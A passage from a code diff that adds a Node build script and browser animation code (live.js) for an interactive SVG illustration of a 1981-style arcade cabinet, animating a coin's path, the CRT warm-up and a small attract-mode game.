[x, z] = LANES[sw.id]; + const route = sw.id === "down" ? [tab, [tab[0], tab[1], z], [x, tab[1] - 3, z], [x, PLUG.y1, z]] : [tab, [tab[0], tab[1], z], [x, PLUG.y1, z]]; + cable(`wire.stick.${sw.id}`, route, 0.25, { tone: "lo", bend: 1.2 }); +}); +const SWX = (SWITCH.x0 + SWITCH.x1) / 2; +cable("wire.coin", [[SWX + 0.9, SW_Y, SWITCH.z0], [SWX + 0.9, SW_Y, 12.6], [50, SW_Y, 12.6], [50, 66, 12.6], [50, 66, 128], [50, 20, 128], [28, 7.8, 128], plugAt(128)], 0.5, { tone: "mid", bend: 3, shells: [false, true] }); +cable("wire.meter", [[METER.x0 + 3, METER.y0 + 5, METER.z1], [METER.x0 + 3, METER.y0 + 5, 40], [SWX - 0.9, SW_Y - 1, 52], [SWX - 0.9, SW_Y, SWITCH.z0]], 0.4, { tone: "lo", bend: 3 }); +cable("cable.power", [[-1, 43, 12.4], [-1, 50, 12.4], [44, 50, 12.4], [54, 62, 12.4], [54, 62, 136], [54, 20, 136], [28, 7.8, 136], plugAt(136)], 0.7, { tone: "mid", bend: 5, shells: [false, true] }); +cable("wire.service", [[SV.x, 30, SV.z0 + 1.6], [56.6, 30, SV.z0 + 1.6], [56.6, 13, SV.z0 + 1.6], [56.6, 13, 141.4], [30, 7.8, 141.4], plugAt(141.4)], 0.4, { tone: "lo", bend: 3, shells: [false, true] }); +cable("cable.mains", [[PW.x - 6, 26, 45.5], [46, 26, 45.5], [46, 26, 15], [30, 26, 15]], 0.6, { tone: "lo", bend: 4 }); +cable("cord.ac", [[-30, 6, 22], [-30, 13, 22]], 0.9, { tone: "mid", bend: 3 }); + +const SPK_BACK = G.add3(SPK_C, G.mul3(SPK_N, 3.8)); +cable("cable.speaker", [SPK_BACK, G.add3(SPK_BACK, G.mul3(SPK_N, 0.6)), [22, 104, 316.6], [22, 7.8, 316.6], [22, 7.8, 158], plugAt(158)], 0.4, { tone: "lo", bend: 3 }); +const VPLUG = chPoint(59, 39, 3); +cable("cable.video", [[px(9), 7.9, PCB.z1 + 2.4], [px(9), 7.9, 184], [-52, 36, 192], [-52, VPLUG[1], VPLUG[2]], VPLUG], 0.6, { tone: "mid", bend: 5 }); +const flyTop = chPoint(51, 18, 4); +const capTop = G.add3(anodeAt, G.mul3(anodeN, 2.2)); +cable("lead.anode", [flyTop, G.add3(flyTop, G.mul3(bd, -6)), G.add3(capTop, G.mul3(anodeN, 6)), capTop], 0.8, { tone: "hi", bend: 5 }); +const NPLUG = chPoint(59.5, 20.5, 3); +cable("cable.neck", [monPoint(-4, 4, 91), monPoint(-4, 4, 94), monPoint(-30, 16, 94), G.add3(NPLUG, [-5, 0, 0]), NPLUG], 0.45, { tone: "lo", bend: 3 }); + +const OPEN = BEZEL_OPEN; +const FACE_OFF = -5; +const bezelPt = (u, w, off = 0) => G.add3(G.add3(G.add3(C3, [u, 0, 0]), G.mul3(bd, w)), G.mul3(NB, off)); +const bezelMatrix = (off) => planeMatrix(bezelPt(0, 0, off), [1, 0, 0], bd); +const roundRect = (u0, u1, w0, w1, r, steps = 5) => k.roundedPlan({ x: u0, y: w0, w: u1 - u0, d: w1 - w0, r }, steps); +const openRing = roundRect(-OPEN.u, OPEN.u, -OPEN.w, OPEN.w, OPEN.r); +const flat = (ring) => `M${ring.map(([u, w]) => `${f2(u)} ${f2(w)}`).join("L")}Z`; +const HALF_LEN = 57; +const bezelFace = `M-${XI} ${-HALF_LEN}H${XI}V${HALF_LEN}H-${XI}Z` + flat([...openRing].reverse()); +const recess = []; +{ + const ring = openRing; + const n = ring.length; + for (let i = 0; i < n; i++) { + const [a, b] = [ring[i], ring[(i + 1) % n]]; + const mid = [(a[0] + b[0]) / 2, (a[1] + b[1]) / 2]; + const inward = G.unit3(G.add3(G.mul3([1, 0, 0], -mid[0]), G.mul3(bd, -mid[1]))); + const along = G.unit3(G.add3(G.mul3([1, 0, 0], b[0] - a[0]), G.mul3(bd, b[1] - a[1]))); + let normal = G.cross3(along, NB); + if (G.dot3(normal, inward) < 0) normal = G.mul3(normal, -1); + if (G.dot3(normal, V) <= 0) continue; + const quad = [bezelPt(a[0], a[1], -1), bezelPt(b[0], b[1], -1), bezelPt(b[0], b[1], FACE_OFF), bezelPt(a[0], a[1], FACE_OFF)]; + recess.push({ tone: G.toneOf(normal, P), d: path3(quad, true) }); + } +} +const openClip = path3(openRing.map(([u, w]) => bezelPt(u, w, -1)), true); +const faceClip = path3(roundRect(-33, 33, -41, 41, 7).map(([u, w]) => bezelPt(u, w, FACE_OFF)), true); +const screenSvg = SCREEN.svg(); +const bezelItem = [ + ``, + ``, + ``, + ``, + `${screenSvg}`, + ...recess.map((q) => ``), + ``, + ``, + ``, + ``, +].join(""); +const bezelSection = [[0, -HALF_LEN], [0, HALF_LEN], [-1.6, HALF_LEN], [-1.6, -HALF_LEN]]; +const BZF = G.frameOf(bezelPt(0, 0, 0), [1, 0, 0], NB, bd); +{ + const shape = record(A.prism(BZF, [[-1.6, -HALF_LEN], [0, -HALF_LEN], [0, HALF_LEN], [-1.6, HALF_LEN]], -XI, XI, { name: "bezel" })); + const glassEdge = S(prismPaths(BZF, bezelSection, -XI, XI), { tone: "lo", flat: true }); + put("bezel", bezelPt(0, 0, 0), `${glassEdge}${bezelItem}`, [shape], { bias: 1 }); +} +A.settle(R, P); +R.items.sort((a, b) => a.key - b.key); + +const indexOf = (name) => R.items.findIndex((item) => item.name === name); +const slots = new Map(); +slots.set(Math.max(indexOf("chute.floor"), indexOf("chute.far")), `${Ln(path3([WIRE.from, G.add3(WIRE.from, [WIRE.length, 0, 0])]), { tone: "hi", free: "end" })}`); +slots.set(Math.max(indexOf("cash.floor"), indexOf("cash.back"), indexOf("cash.far")), ``); +const groups = R.items.map((item, index) => `${item.svg}${slots.get(index) ?? ""}`); + +const trayF = G.frameOf([TRAY.x, TRAY.y, 0], [0, 0, 1], [1, 0, 0], [0, 1, 0]); +const tray = S(G.lathe([[0, 0], [0, 9], [1.6, 9], [1.6, 7.6], [0.8, 7.2]], trayF, P, { steps: 48 }), { tone: "lo" }); +const stack = Array.from({ length: STACK }, (_, i) => `${PARTS.coin([TRAY.x, TRAY.y, stackTop(i) + 0.2], [0, 0, 1], 0, { lit: false })}`).join(""); + +const LABEL_TEXT = + "An upright arcade cabinet on a bench with its left side panel off: a CRT turned on its side behind the tilted glass, a marquee lamp and speaker above, a control panel with a joystick and four buttons whose microswitches hang below it, a coin door with two coin mechs, a coin switch, a meter and a cash box, the game board on the far wall, and the power supply on the floor. A stack of quarters sits on a tray on the bench."; +const svg = k.figureSvg({ + width: W, + height: H, + label: LABEL_TEXT, + body: [...back, `${tray}${stack}`, `${groups.join("")}`, ``, ``], +}); + +const DATA = { + P, + V, + stick: STICK_DATA, + tray: { x: TRAY.x, y: TRAY.y, top: stackTop(STACK - 1) + 0.2, step: COIN_STEP, count: STACK }, + slot: { x: ENTRIES[0], y: FY + 3.8, z: (SLOT_Z[0] + SLOT_Z[1]) / 2 }, + mech: MECH(ENTRIES[0]), + chute: { ...CHUTE, slope: CHUTE.slope }, + wire: WIRE, + box: BOX, + meterFace: METER_FACE, + screen: { off: FACE_OFF }, + routes: Object.fromEntries(["wire.coin", "cable.video", "cable.power", "loom"].map((name) => [name, R.routes.find((r) => r.name === name).points.map((p) => at(p).map(f2))])), + meterMatrix: planeMatrix(METER_FACE.o, METER_FACE.ex, METER_FACE.ey), +}; + +const CSS = readFileSync(join(HERE, "arcade-cabinet.css"), "utf8"); +const latheSource = readFileSync(join(HERE, "..", "..", "kit", "lathe.mjs"), "utf8") + .replace(/^import .*$/m, "") + .replace(/^export /gm, ""); +const latheScript = `const G = (() => {${latheSource}\nreturn { viewOf, scaleOf, frameAlong, frameOf, pointOf, disc, sphereOf, prismOf, circleOf, arcOf, dot3, add3, sub3, mul3, unit3, cross3, len3, lightOf, toneOf, radialOf };})();\n`; +const partsScript = readFileSync(join(HERE, "parts.mjs"), "utf8").replace(/^export /gm, ""); +const screenScript = readFileSync(join(HERE, "screen.mjs"), "utf8").replace(/^export /gm, ""); +const LIVE = readFileSync(join(HERE, "live.js"), "utf8").replace("__DATA__", JSON.stringify(DATA)); + +const body = + `` + + k.plateHtml({ + fig: "Fig 4", + title: "Upright cabinet, side off", + hint: "C or click the quarters · ← → · space", + readout: "off · 0 credits", + keys: [ + { mark: "lit", label: "The picture: drawn in the plane of the CRT behind the tilted glass" }, + { mark: "raised", label: "Coin path: slot, mech, switch wire, meter, cash box" }, + { mark: "edge", label: "Harness from the joystick, buttons and coin switch to the board's edge connector" }, + ], + caption: + "An upright cabinet in the style of 1981, 178 cm tall, with the left side panel off. Drop a quarter (24.26 mm) in the left slot: the mech checks it and lets it fall 27 cm past the coin-switch wire into the open cash box. The switch pulses the meter and the board's coin line, and on this machine it also latches the power relay, so the first coin wakes the cabinet: the marquee strikes, the CRT's heater warms for about two seconds, the board runs its RAM and ROM self-test and the attract mode starts. The monitor lies on its side for a vertical game, 224 × 288 pixels on a 15.734 kHz raster, so its scan lines run up and down the glass and it collapses to a vertical line when switched off. Move the stick to see the actuator close a microswitch under the panel.", + body: `
    ${svg}
    `, + }); + +const page = k.pageHtml({ title: "Arcade cabinet", theme: THEME, body, script: kitScript() + latheScript + partsScript + screenScript + LIVE, width: 650 }); +const name = THEME === "light" ? "arcade-cabinet-light.html" : "arcade-cabinet.html"; +writeFileSync(join(HERE, name), page); +console.log("wrote", name, `${(page.length / 1024).toFixed(0)} KB`, `${R.items.length} items`, `scale ${KS.toFixed(3)}`, `${CABLES.length} cables`); + +A.auditOrExit(R, P, {}); diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/live.js b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/live.js new file mode 100644 index 00000000..e3d624bd --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/live.js @@ -0,0 +1,597 @@ + +const D = __DATA__; +const P = D.P; +const K = { iso, pathOf, solidSvg, lineSvg, dotsSvg }; +const PARTS = makeParts(K, G, P, { stick: D.stick }); +const stage = document.querySelector(".iso-stage"); +const svg = stage.querySelector("svg"); +const $ = (sel) => svg.querySelector(sel); +const $$ = (sel) => [...svg.querySelectorAll(sel)]; +const at = (p) => iso(p, P); +const readout = document.querySelector("[data-readout]"); +const status = document.querySelector("[data-status]"); +const still = matchMedia("(prefers-reduced-motion: reduce)"); + +const el = { + upper: $('[data-part="stick-upper"]'), + lower: $('[data-part="stick-lower"]'), + wire: $('[data-part="wire"]'), + fall: $('[data-part="coin-fall"]'), + chute: $('[data-part="coin-chute"]'), + fly: $('[data-part="coin-fly"]'), + pile: $('[data-part="pile"]'), + screen: $('[data-part="screen"]'), + raster: $('[data-part="raster"]'), + dot: $('[data-part="dot"]'), + test: $('[data-mode="test"]'), + attract: $('[data-mode="attract"]'), + steps: $$("[data-step]"), + formation: $('[data-part="formation"]'), + aliens: $$("[data-alien]"), + ship: $('[data-part="ship"]'), + shot: $('[data-part="shot"]'), + boom: $('[data-part="boom"]'), + score: $('[data-part="score"]'), + insert: $('[data-part="insert"]'), + start: $('[data-part="start"]'), + credit: $('[data-part="credit"]'), + meter: $('[data-part="meter"]'), + glass: $('[data-part="glass"]'), + stack: $$("[data-stack]"), + fire: $('[data-button="fire"]'), + p1: $('[data-button="p1"]'), + lamps: $$(".ac-lamp"), + leds: $$(".ac-led"), + marquee: $$('[data-name="marquee.tube"], [data-name="marquee.plexi"], .ac-marquee'), +}; +const routes = {}; +for (const g of $$("[data-route]")) (routes[g.dataset.route] ??= []).push(g); +for (const list of Object.values(routes)) list.sort((a, b) => a.dataset.chunk - b.dataset.chunk); + +const smooth = (a, b, x) => { + const t = Math.min(1, Math.max(0, (x - a) / (b - a))); + return t * t * (3 - 2 * t); +}; +const lerp3 = (a, b, t) => [a[0] + (b[0] - a[0]) * t, a[1] + (b[1] - a[1]) * t, a[2] + (b[2] - a[2]) * t]; +const norm = (v) => { + const l = Math.hypot(v[0], v[1], v[2]) || 1; + return [v[0] / l, v[1] / l, v[2] / l]; +}; + +const GRAV = 1962; +const FLY = 0.9; +const INSERT = 0.34; +const MECH = 0.42; +const DROP_FROM = D.mech.z0 + PARTS.COIN_R; +const FLOOR = D.box.z0 + 0.7 + PARTS.COIN_T / 2; +const HEATER = 2.2; +const TEST = [1.0, 1.7, 2.3, 2.8]; +const ATTRACT_AT = 3.6; +const HKHZ = 15.734; + +const state = { + power: 0, + powerAt: -99, + offAt: -99, + credits: 0, + meter: 4127, + coins: [], + pile: 0, + stack: D.tray.count, + stick: { x: 0, target: 0 }, + fire: 0, + fireHeld: 0, + pulses: [], + wire: { x: 0, v: 0, push: 0 }, + game: null, + clock: 0, +}; + +function newGame() { + return { step: 0, dir: 1, offset: 0, frame: 0, alive: D_FORMATION.map(() => true), shipX: 112, shot: null, boom: null, score: 0, cool: 1.2, userAt: -99, respawn: 0 }; +} +const D_FORMATION = SCREEN.FORMATION; + +const STACK_AT = (n) => [D.tray.x, D.tray.y, 1.6 + (n - 1) * D.tray.step + 0.2]; +const SLOT_OUT = [D.slot.x, D.slot.y + 9, D.slot.z]; +const SLOT_IN = [D.slot.x, D.slot.y - 12, D.slot.z]; +const CH = D.chute; +const SN = 0.5; +const CS = Math.sqrt(3) / 2; +const chuteZ = (y) => CH.z0 - CH.slope * (CH.y0 - y); +const ROLL_FROM = D.mech.y0; +const ROLL_A = (2 / 3) * GRAV * SN; +const ROLL_LEN = (ROLL_FROM - CH.y1) / CS; +const T_ROLL = Math.sqrt((2 * ROLL_LEN) / ROLL_A); +const V_END = ROLL_A * T_ROLL; +const END = [D.slot.x, CH.y1 - PARTS.COIN_R * SN, chuteZ(CH.y1) + PARTS.COIN_R * CS]; +const EDGE_Z = FLOOR + PARTS.COIN_R; +const T_DROP = (-V_END * SN + Math.sqrt((V_END * SN) ** 2 + 2 * GRAV * (END[2] - EDGE_Z))) / GRAV; +const LAND_Y = END[1] - V_END * CS * T_DROP; +function insertCoin() { + if (state.stack <= 0) state.stack = D.tray.count; + const from = STACK_AT(state.stack); + state.stack--; + showStack(); + state.coins.push({ t: 0, from, landAt: pileSpot(state.pile + state.coins.length), switched: false, landed: false }); + run(); +} +function pileSpot(i) { + const a = i * 2.39996; + const r = Math.min(5, 1.1 * Math.sqrt(i)); + const lo = D.box.y0 + 0.7 + PARTS.COIN_R + 0.3; + const hi = D.box.y1 - 0.7 - PARTS.COIN_R - 0.3; + return [D.slot.x + Math.cos(a) * r * 1.2, Math.max(lo, Math.min(hi, LAND_Y + Math.sin(a) * r)), FLOOR + Math.floor(i / 12) * PARTS.COIN_T]; +} +function coinPose(c) { + let t = c.t; + if (t < FLY) { + const s = smooth(0, 1, t / FLY); + const mid = [(c.from[0] + SLOT_OUT[0]) / 2, (c.from[1] + SLOT_OUT[1]) / 2, Math.max(c.from[2], SLOT_OUT[2]) + 26]; + const a = lerp3(c.from, mid, s); + const b = lerp3(mid, SLOT_OUT, s); + const p = lerp3(a, b, s); + const turn = smooth(0.15, 0.85, t / FLY); + return { layer: "fly", p, axis: norm(lerp3([0, 0, 1], [1, 0, 0], turn)), spin: s * 7 }; + } + t -= FLY; + if (t < INSERT) return { layer: "fly", clip: "door", p: lerp3(SLOT_OUT, SLOT_IN, smooth(0, 1, t / INSERT)), axis: [1, 0, 0], spin: 7 }; + t -= INSERT; + if (t < MECH) return { layer: "none", stage: "mech" }; + t -= MECH; + if (t < T_ROLL) { + const s = 0.5 * ROLL_A * t * t; + const y = ROLL_FROM - s * CS; + const p = [D.slot.x, y - PARTS.COIN_R * SN, chuteZ(y) + PARTS.COIN_R * CS]; + return { layer: "chute", clip: p[1] + PARTS.COIN_R > D.mech.y0 ? "mech" : null, p, axis: [1, 0, 0], spin: 7 + s / PARTS.COIN_R, stage: "roll" }; + } + t -= T_ROLL; + const land = c.landAt; + if (t < T_DROP) { + const share = t / T_DROP; + const p = [END[0] + (land[0] - END[0]) * share, END[1] - V_END * CS * t, END[2] - V_END * SN * t - 0.5 * GRAV * t * t]; + p[1] = END[1] + (land[1] - END[1]) * share; + return { layer: "fall", p, axis: [1, 0, 0], spin: 7 + ROLL_LEN / PARTS.COIN_R + t * 20, stage: "drop" }; + } + const tl = t - T_DROP; + const tip = smooth(0, 0.16, tl); + const lie = [land[0], land[1], land[2] + PARTS.COIN_R * (1 - tip)]; + return { layer: "fall", p: lie, axis: norm(lerp3([1, 0, 0], [0, 0, 1], tip)), spin: 7, settled: tl > 0.22, stage: "drop" }; +} + +const CLIP_DOOR = (() => { + const a = at([D.slot.x, D.slot.y, -100]); + const b = at([D.slot.x, D.slot.y, 300]); + return `M${a[0]} ${a[1]}L${b[0]} ${b[1]}L${b[0] + 400} ${b[1]}L${a[0] + 400} ${a[1]}Z`; +})(); +const CLIP_MECH = (() => { + const a = at([D.slot.x, D.mech.y0, -100]); + const b = at([D.slot.x, D.mech.y0, 300]); + return `M${a[0]} ${a[1]}L${b[0]} ${b[1]}L${b[0] - 400} ${b[1]}L${a[0] - 400} ${a[1]}Z`; +})(); +svg.querySelector("defs") || svg.insertAdjacentHTML("afterbegin", ""); +svg.querySelector("defs").insertAdjacentHTML("beforeend", ``); + +function drawCoins() { + const out = { fly: "", chute: "", fall: "" }; + for (const c of state.coins) { + const pose = coinPose(c); + if (pose.layer === "none") continue; + const coin = PARTS.coin(pose.p, pose.axis, pose.spin); + out[pose.layer] += pose.clip ? `${coin}` : coin; + } + for (const key of ["fly", "chute", "fall"]) if (el[key].innerHTML !== out[key]) el[key].innerHTML = out[key]; +} +function showStack() { + el.stack.forEach((g, i) => (g.style.display = i < state.stack ? "" : "none")); +} +function drawPile() { + let out = ""; + for (let i = 0; i < state.pile; i++) out += PARTS.coin(pileSpot(i), [0, 0, 1], i * 1.7, { lit: false }); + el.pile.innerHTML = out; +} + +function wireStep(dt, push) { + const w = state.wire; + if (push > w.x) { + w.x = push; + w.v = 0; + } else { + const k = 900; + const c = 9; + for (let i = 0; i < 4; i++) { + const h = dt / 4; + w.v += (-k * w.x - c * w.v) * h; + w.x += w.v * h; + } + if (Math.abs(w.x) < 1e-3 && Math.abs(w.v) < 1e-2) (w.x = 0), (w.v = 0); + } + const from = D.wire.from; + const angle = Math.atan2(w.x, D.wire.length); + const tip = [from[0] + D.wire.length * Math.cos(angle), from[1], from[2] - D.wire.length * Math.sin(angle)]; + el.wire.innerHTML = lineSvg(pathOf([at(from), at(tip)]), { tone: w.x > 0.3 ? "lit" : "hi", free: "end" }); + return w.x !== 0; +} +function wirePush() { + let push = 0; + const wz = D.wire.from[2]; + const wy = D.wire.from[1]; + for (const c of state.coins) { + const pose = coinPose(c); + if (pose.stage !== "roll") continue; + const dy = wy - pose.p[1]; + if (Math.abs(dy) >= PARTS.COIN_R) continue; + const low = pose.p[2] - Math.sqrt(PARTS.COIN_R ** 2 - dy * dy); + push = Math.max(push, Math.min(1.2, wz - low)); + } + return Math.max(0, push) * (D.wire.length / (D.slot.x - D.wire.from[0])); +} +function pulse(route, delay = 0, seconds = 0.5) { + if (!routes[route]) return; + state.pulses.push({ route, t: -delay, seconds }); +} +function drawPulses(dt) { + const hot = new Set(); + state.pulses = state.pulses.filter((p) => { + p.t += dt; + if (p.t < 0) return true; + const list = routes[p.route]; + const at = (p.t / p.seconds) * (list.length + 1); + list.forEach((g, i) => Math.abs(i - at + 0.5) < 1.1 && hot.add(g)); + return p.t < p.seconds * 1.25; + }); + for (const list of Object.values(routes)) for (const g of list) g.toggleAttribute("data-hot", hot.has(g)); + return state.pulses.length > 0; +} + +function setPower(on) { + if (!!on === !!state.power) return; + state.power = on ? 1 : 0; + if (on) { + state.powerAt = state.clock; + state.game = newGame(); + } else { + state.offAt = state.clock; + state.credits = 0; + } + el.leds.forEach((g) => g.toggleAttribute("data-on", !!on)); + el.lamps.forEach((g) => g.toggleAttribute("data-on", !!on)); + status.textContent = on ? "Coin accepted. The cabinet wakes and the CRT warms up." : "Switched off."; + run(); +} +function marqueeLevel(t) { + if (!state.power) return 0; + if (t < 0.06) return 0; + if (t < 0.12) return 1; + if (t < 0.24) return 0; + if (t < 0.3) return 1; + if (t < 0.42) return 0.2; + return 1; +} +function picture() { + const t = state.clock - state.powerAt; + const off = state.clock - state.offAt; + let bright = 0; + let sx = 1; + let sy = 1; + let dot = 0; + let mode = "none"; + if (state.power) { + bright = smooth(0.9, HEATER + 0.4, t); + mode = t < ATTRACT_AT ? (t > 0.9 ? "test" : "none") : t < ATTRACT_AT + 0.08 ? "none" : "attract"; + } else if (off < 1.2 && state.offAt > 0) { + bright = 1; + mode = state.lastMode; + if (off < 0.09) sx = 1 - 0.99 * smooth(0, 0.09, off); + else if (off < 0.26) (sx = 0.01), (sy = 1 - smooth(0.09, 0.26, off)); + else (sx = 0), (sy = 0); + dot = off < 0.2 ? 0 : 1 - smooth(0.26, 1.1, off); + } + if (state.power) state.lastMode = mode; + el.raster.setAttribute("transform", `scale(${Math.max(sx, 0.001).toFixed(3)} ${Math.max(sy, 0.004).toFixed(3)})`); + el.raster.style.opacity = (sx === 0 ? 0 : bright).toFixed(3); + el.dot.style.opacity = dot.toFixed(3); + el.test.style.display = mode === "test" ? "" : "none"; + el.attract.style.display = mode === "attract" ? "" : "none"; + el.steps.forEach((s, i) => (s.style.display = t > TEST[i] ? "" : "none")); + el.glass.toggleAttribute("data-on", bright > 0.05 && sx > 0); + const m = marqueeLevel(t); + el.marquee.forEach((g) => g.toggleAttribute("data-on", m > 0.5)); + return { mode, t, busy: state.power ? t < ATTRACT_AT + 0.2 : off < 1.2 }; +} + +const SHOT_SPEED = 220; +function gameStep(dt, mode) { + const g = state.game; + if (!g || mode !== "attract") return; + g.step += dt; + if (g.step > 0.32) { + g.step = 0; + g.offset += g.dir * 2; + if (Math.abs(g.offset) >= 16) g.dir = -g.dir; + g.frame = 1 - g.frame; + el.formation.setAttribute("transform", `translate(${g.offset} 0)`); + for (const a of el.aliens) { + a.children[0].style.display = g.frame ? "none" : ""; + a.children[1].style.display = g.frame ? "" : "none"; + } + } + const user = state.clock - g.userAt < 3; + if (user) g.shipX += state.stick.x * 420 * dt; + else { + const live = D_FORMATION.map((a, i) => (g.alive[i] ? a.x + 5 + g.offset : null)).filter((x) => x !== null); + const target = live.length ? live[Math.floor((state.clock * 0.37) % live.length)] : 112; + g.shipX += Math.max(-50 * dt, Math.min(50 * dt, target - g.shipX)); + } + g.shipX = Math.max(14, Math.min(210, g.shipX)); + el.ship.setAttribute("transform", `translate(${g.shipX.toFixed(1)} ${SCREEN.SHIP_Y})`); + g.cool -= dt; + if (!g.shot && ((state.fire > 0 && user) || (!user && g.cool < 0))) { + g.shot = { x: Math.round(g.shipX), y: SCREEN.SHIP_Y - 6 }; + g.cool = 0.9 + Math.random() * 0.8; + } + if (g.shot) { + g.shot.y -= SHOT_SPEED * dt; + let hit = -1; + D_FORMATION.forEach((a, i) => { + if (!g.alive[i] || hit >= 0) return; + const x = a.x + g.offset; + if (g.shot.x >= x && g.shot.x <= x + 10 && g.shot.y <= a.y + 8 && g.shot.y + 5 >= a.y) hit = i; + }); + if (hit >= 0) { + g.alive[hit] = false; + el.aliens[hit].style.display = "none"; + const a = D_FORMATION[hit]; + g.boom = { x: a.x + g.offset, y: a.y, t: 0.22 }; + g.score += a.kind === "eye" ? 30 : 10; + el.score.setAttribute("d", SCREEN.text(String(g.score).padStart(5, "0"), 16, 20)); + g.shot = null; + } else if (g.shot.y < 30) g.shot = null; + } + el.shot.style.display = g.shot ? "" : "none"; + if (g.shot) el.shot.setAttribute("transform", `translate(${g.shot.x} ${g.shot.y.toFixed(1)})`); + if (g.boom) { + g.boom.t -= dt; + el.boom.style.display = g.boom.t > 0 ? "" : "none"; + el.boom.setAttribute("transform", `translate(${g.boom.x} ${g.boom.y})`); + if (g.boom.t <= 0) g.boom = null; + } + if (g.alive.every((a) => !a)) { + g.respawn += dt; + if (g.respawn > 1.2) { + g.respawn = 0; + g.alive = g.alive.map(() => true); + el.aliens.forEach((a) => (a.style.display = "")); + } + } + const blink = Math.floor(state.clock / 0.5) % 2 === 0; + el.insert.style.display = !state.credits && blink ? "" : "none"; + el.start.style.display = state.credits && blink ? "" : "none"; + el.p1?.toggleAttribute("data-blink", state.credits > 0 && blink); +} +let creditShown = -1; +function showCredit() { + if (creditShown === state.credits) return; + creditShown = state.credits; + el.credit.setAttribute("d", SCREEN.text(`CREDIT ${Math.min(9, state.credits)}`, 120, 274)); +} + +const TILT = 0.21; +let stickShown = null; +function stickStep(dt, calm) { + const s = state.stick; + const before = s.x; + s.x = calm ? s.target : s.x + (s.target - s.x) * (1 - Math.exp(-dt / 0.05)); + if (Math.abs(s.x - s.target) < 1e-3) s.x = s.target; + const key = s.x.toFixed(3); + if (key !== stickShown) { + stickShown = key; + el.upper.innerHTML = PARTS.stickUpper(s.x * TILT, 0); + el.lower.innerHTML = PARTS.stickLower(s.x * TILT, 0); + } + return s.x !== s.target || before !== s.x; +} +const firePush = axisVector(P, D.stick.nc.map((v) => -v * 1.1)); +function fireStep(dt) { + state.fireHeld = Math.max(0, state.fireHeld - dt); + const want = state.fireHeld > 0 ? 1 : 0; + state.fire += (want - state.fire) * (1 - Math.exp(-dt / 0.03)); + if (Math.abs(want - state.fire) < 0.01) state.fire = want; + el.fire.setAttribute("transform", state.fire ? `translate(${(firePush[0] * state.fire).toFixed(2)} ${(firePush[1] * state.fire).toFixed(2)})` : ""); + el.fire.toggleAttribute("data-down", state.fire > 0.5); + return state.fire !== want || state.fireHeld > 0; +} + +let phase = ""; +function say(mode, t) { + let text; + const coin = state.coins.find((c) => !c.landed); + if (coin) { + const tt = coin.t; + text = tt < FLY ? "coin · 24.26 mm quarter" : tt < FLY + INSERT ? "coin · into the slot" : tt < FLY + INSERT + MECH ? "mech · checking the coin" : coin.switched ? `coin switch · meter ${String(state.meter).padStart(6, "0")}` : "coin · rolling down the chute"; + } else if (!state.power) text = state.clock - state.offAt < 1.2 && state.offAt > 0 ? "off · picture folds to a line" : `off · ${state.pile ? "insert another coin" : "insert coin"}`; + else if (mode === "test") text = t < TEST[1] ? "self-test" : t < TEST[2] ? "self-test · RAM OK" : "self-test · RAM OK · ROM OK"; + else if (mode !== "attract") text = `warming · heater ${Math.min(HEATER, t).toFixed(1)} s`; + else { + const dir = state.stick.target < 0 ? " · stick ←" : state.stick.target > 0 ? " · stick →" : state.fireHeld > 0 ? " · fire" : ""; + text = `credit ${state.credits} · ${HKHZ} kHz${dir}`; + } + if (readout.textContent !== text) readout.textContent = text; + const now = !state.power ? "off" : mode; + if (now !== phase) { + phase = now; + if (now === "attract") status.textContent = `Attract mode, ${state.credits} credit${state.credits === 1 ? "" : "s"}.`; + if (now === "test") status.textContent = "Self-test."; + } +} + +let frame = 0; +let last = 0; +let visible = false; +let touring = !still.matches; +let tourClock = 0; +let idle = 0; +const TOUR = [ + [1.4, () => insertCoin()], + [9.5, () => press("right", 0.5)], + [10.4, () => press("left", 0.6)], + [11.4, () => fireButton()], + [12.6, () => press("right", 0.35)], + [13.3, () => fireButton()], + [15.2, () => insertCoin()], + [24, () => setPower(0)], + [27.5, null], +]; +let tourIndex = 0; +function tourStep(dt) { + tourClock += dt; + while (tourIndex < TOUR.length && tourClock >= TOUR[tourIndex][0]) { + const action = TOUR[tourIndex][1]; + tourIndex++; + if (action) action(); + else { + tourClock = 0; + tourIndex = 0; + state.pile = 0; + state.stack = D.tray.count; + showStack(); + drawPile(); + } + } +} +let releaseTimer = 0; +function press(dir, seconds) { + state.stick.target = dir === "left" ? -1 : 1; + if (state.game) state.game.userAt = state.clock; + clearTimeout(releaseTimer); + releaseTimer = setTimeout(() => ((state.stick.target = 0), run()), seconds * 1000); + run(); +} +function fireButton() { + state.fireHeld = 0.16; + if (state.game) state.game.userAt = state.clock; + run(); +} + +function tick(now) { + const dt = last ? Math.min((now - last) / 1000, 1 / 30) : 1 / 60; + last = now; + const calm = still.matches; + state.clock += dt; + if (touring) tourStep(dt); + for (const c of state.coins) { + c.t += calm ? 10 : dt; + const pose = coinPose(c); + if (!c.switched && (calm || (pose.stage === "roll" && pose.p[1] < D.wire.from[1]))) { + c.switched = true; + state.meter++; + el.meter.textContent = String(state.meter).padStart(6, "0"); + pulse("wire.coin", 0, 0.45); + pulse("wire.meter", 0, 0.25); + if (!state.power) { + setTimeout(() => { + setPower(1); + pulse("cable.power", 0, 0.5); + pulse("cable.video", 0.5, 0.5); + }, calm ? 0 : 420); + } + setTimeout(() => { + state.credits++; + showCredit(); + run(); + }, calm ? 0 : 450); + } + if (!c.landed && (pose.settled || calm)) { + c.landed = true; + state.pile++; + drawPile(); + } + } + state.coins = state.coins.filter((c) => !c.landed); + drawCoins(); + const wireBusy = wireStep(dt, wirePush()); + const pulsing = drawPulses(dt); + const { mode, t, busy } = picture(); + gameStep(dt, mode); + showCredit(); + const sticking = stickStep(dt, calm); + const firing = fireStep(dt); + say(mode, t); + const alive = touring || state.coins.length || wireBusy || pulsing || busy || sticking || firing || (state.power && !calm); + frame = visible && alive ? requestAnimationFrame(tick) : 0; +} +function run() { + if (!frame && visible) { + last = 0; + frame = requestAnimationFrame(tick); + } +} +function takeOver() { + if (touring) { + touring = false; + } + clearTimeout(idle); + idle = setTimeout(() => { + if (still.matches) return; + touring = true; + tourClock = state.power ? 4 : 0; + tourIndex = TOUR.findIndex(([t]) => t > tourClock); + if (state.power) tourIndex = TOUR.findIndex(([t]) => t > 9); + tourClock = state.power ? 9 : 0; + run(); + }, 12000); +} +new IntersectionObserver((entries) => { + visible = entries[entries.length - 1].isIntersecting; + if (visible) run(); +}, { 